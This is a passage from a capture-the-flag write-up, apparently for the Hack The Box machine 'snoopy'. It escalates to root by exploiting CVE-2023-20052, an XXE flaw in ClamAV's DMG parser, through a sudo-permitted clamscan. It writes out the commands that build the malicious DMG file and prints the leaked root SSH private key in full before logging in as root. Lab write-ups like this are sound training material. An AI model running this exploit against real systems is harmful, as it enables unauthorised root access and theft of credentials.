    env_keep+="LANG LANGUAGE LINGUAS LC_* _XKB_CHARSET", env_keep+="XAPPLRESDIR XFILESEARCHPATH XUSERFILESEARCHPATH",
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, mail_badpass

User sbrown may run the following commands on snoopy:
    (root) NOPASSWD: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$
sbrown@snoopy:~$
It appears that we can execute the command as the root user without providing the password for the sbrown user: /usr/local/bin/clamscan ^--debug /home/sbrown/scanfiles/[a-zA-Z0-9.]+$

ClamAV or clamscan is an antivirus primarily used on email servers and file servers to scan and protect against cyber threats such as viruses, trojans, and other types of malware. It can also be used on individual systems as an antivirus scanning tool.

We can list the version to later search for vulnerabilities associated with it:

sbrown@snoopy:$ clamscan --version
ClamAV 1.0.0/26853/Fri Mar 24 07:24:11 2023
After some searching on the internet, I found the following vulnerability: CVE-2023-20052.

On Feb 15, 2023, the following vulnerability in the ClamAV scanning library was disclosed: A vulnerability in the DMG file parser of ClamAV versions 1.0.0 and earlier, 0.105.1 and earlier, and 0.103.7 and earlier could allow an unauthenticated, remote attacker to access sensitive information on an affected device. This vulnerability is due to enabling XML entity substitution that may result in XML external entity injection. An attacker could exploit this vulnerability by submitting a crafted DMG file to be scanned by ClamAV on an affected device. A successful exploit could allow the attacker to leak bytes from any file that may be read by the ClamAV scanning process.

From GHSA-pcr4-7r58-755h

The exploitation is quite straightforward, just follow the steps.

First, we clone the repository on our attacker machine:

elswix@kali$ git clone https://github.com/nokn0wthing/CVE-2023-20052.git
Cloning into 'CVE-2023-20052'...
remote: Enumerating objects: 15, done.
remote: Counting objects: 100% (15/15), done.
remote: Compressing objects: 100% (14/14), done.
remote: Total 15 (delta 4), reused 4 (delta 0), pack-reused 0
Receiving objects: 100% (15/15), 47.69 KiB | 561.00 KiB/s, done.
Resolving deltas: 100% (4/4), done.
We enter the directory and build the Docker image:

elswix@kali$ cd CVE-2023-20052
elswix@kali$ sudo docker build -t cve-2023-20052 .
Once it's finished, we access the container:

elswix@kali$ sudo docker run -v $(pwd):/exploit -it cve-2023-20052 bash
root@87a99884b443:/exploit#
Now, we need to create the malicious file that should be scanned by clamscan. The idea is to retrieve the id_rsa of the root user so we can connect through the SSH service using it as an authentication method.

We generate the malicious file, replacing /etc/passwd with /root/.ssh/id_rsa:

root@87a99884b443:/exploit# genisoimage -D -V "exploit" -no-pad -r -apple -file-mode 0777 -o test.img . && dmg dmg test.img test.dmg
bbe -e 's|<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN" "http://www.apple.com/DTDs/PropertyList-1.0.dtd">|<!DOCTYPE plist [<!ENTITY xxe SYSTEM "/root/.ssh/id_rsa"> ]>|' -e 's/blkx/&xxe\;/' test.dmg -o exploit.dmg
Once it's done, we check to see if the malicious file has been created:

root@87a99884b443:/exploit# ls
1.png  2.png  Dockerfile  README.md  exploit.dmg  test.dmg  test.img
root@87a99884b443:/exploit#
The file in question is exploit.dmg, which needs to be analyzed by clamscan. To do this, I will upload the file to the victim machine.

Once we have the file uploaded to the victim machine, we need to move it to the directory /home/sbrown/scanfiles/, as that is the path indicated when we run sudo -l.

sbrown@snoopy:~/scanfiles$ sudo /usr/local/bin/clamscan --debug /home/sbrown/scanfiles/exploit.dmg
Finally, we are shown the id_rsa belonging to the root user:

LibClamAV debug: cli_magic_scan: returning 0  at line 4997
LibClamAV debug: clean_cache_add: ca0f3dc75cf2cb616e0f5e5be1f43fc4 (level 0)
LibClamAV debug: cli_scandmg: wanted blkx, text value is -----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----

LibClamAV debug: cli_scandmg: wanted blkx, text value is cSum
LibClamAV debug: cli_scandmg: wanted blkx, text value is nsiz
LibClamAV debug: cli_scandmg: wanted blkx, text value is plst
To gain root access on the victim machine, we must copy the id_rsa to a file on our machine and assign it 600 privileges, i.e. only the owner can read it, otherwise it will not allow us to use it as an authentication method:

elswix@kali$ chmod 600 root_id_rsa
elswix@kali$ ssh -i root_id_rsa root@10.10.11.212
Welcome to Ubuntu 22.04.2 LTS (GNU/Linux 5.15.0-71-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

This system has been minimized by removing packages and content that are
not required on a system that users do not log into.

To restore this content, you can run the 'unminimize' command.
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings

Last login: Fri May 12 21:28:56 2023 from 10.10.14.46

root@snoopy:~#
Finally as root, we can now read the last flag:

root@snoopy:~# whoami
root
root@snoopy:~# cat /root/root.txt
4602b**********************4cf39
root@snoopy:~#